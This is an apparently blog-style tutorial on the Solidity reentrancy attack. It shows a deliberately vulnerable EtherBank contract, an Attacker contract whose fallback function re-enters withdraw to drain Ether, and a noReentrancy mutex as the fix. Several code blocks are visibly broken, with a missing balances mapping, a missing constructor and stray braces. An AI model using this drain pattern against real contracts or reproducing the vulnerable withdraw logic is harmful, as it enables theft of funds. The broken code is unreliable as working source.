What is Reentrancy attack?

Suppose we have 2 contracts: A and B. Contract A calls contract B. The basic idea of Reentrancy attack is the contract B can call back into contract A while contract A is still executing. Contract B can callback into contract A while contract A is still executing

For example, contract A has 100 Ether, the contract B has 0 Ether. In contract A, we have recorded the balance number for each address was deposited. Specifically, in this example, contract A records the balance of contract B is 1 Ether.

Contract A also has a withdraw function for depositors can get back money which deposited before.

The contract is OK if the caller is a wallet address (not a contract address). Example: John had deposited 1 Ether before to smart contract, and John wants to withdraw it today:

The contract will check John's balance is greater than 0 or not. If the balance is greater than 0, the contract will send Ether to John's wallet.

After contract A sends Ether to Join’s wallet, it will reset John’s balance record is 0:

It looks fine. But, with Solidity, we can use a smart contract to call another smart contract. For example, we will use contract B to exploit contract A. The key of contract B that we will use the fallback function feature of Solidity.

Step 1: Contract B will call the withdrawal function of contract A.

Step 2: Contract A check balance is greater than 0 or not. If this condition is satisfied, contract A will send Ether to contract B and make the fallback function of contract B is executed:

Step 3: The fallback function of contract B calls the withdraw function of contract A while the balance value of B is recorded by A is still greater than 0:

Step 4: Contract A will send Ether to contract B again.

Repeat much time, the contract B will withdraw all money of contract A:

Smart contract:

Firstly, we create a contract named EtherBank. It is Contract A in the above example.

Note that, this code works when we use Solidity version ^0.6.0 or ^0.7.0.

pragma solidity ^0.7.0;contract EtherBank {
uint public total = 0;

function deposit() public payable {
balances[msg.sender] += msg.value;
total += msg.value;
}

function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount , "Out of amount");

(bool sent, ) = msg.sender.call{value: _amount}("");

require(sent, "Failed to send Ether");

balances[msg.sender] -= _amount;
total -= _amount;

}

function getBalance() public view returns(uint) {
return balances[msg.sender];
}

}

Secondly, we create another contract named Attacker. It is Contract B in the above example.

pragma solidity ^0.7.0;import './EtherBank.sol';contract Attacker {
EtherBank public etherBank;

}

fallback() external payable {
etherBank.withdraw(1 ether);
}
}

function attack() public payable {
require(msg.value >= 1 ether);
etherBank.deposit{ value: 1 ether}();
etherBank.withdraw(1 ether);
}

function getBalance() public view returns(uint) {
}
}

Call the attack function with 1 ether.

How to prevent Reentrancy:

To prevent Reentrancy, we will declare a modifier named noReentrancy:

pragma solidity ^0.7.0;contract EtherBank {
uint public total = 0;

function deposit() public payable {
balances[msg.sender] += msg.value;
total += msg.value;
}

bool internal locked;

modifier noReentrancy() {
require(!locked , 'No reentrancy');
locked = true;
_;
locked = false;
}

function withdraw(uint _amount) public noReentrancy {
require(balances[msg.sender] >= _amount , "Out of amount");

(bool sent, ) = msg.sender.call{value: _amount}("");

require(sent, "Failed to send Ether");

balances[msg.sender] -= _amount;
total -= _amount;

}

function getBalance() public view returns(uint) {
return balances[msg.sender];
}

}

We will use a bool variable: locked. The magic is _; sentence. _; means continue executing the function (in this case is withdraw function).

Blockchain and Cryptocurrency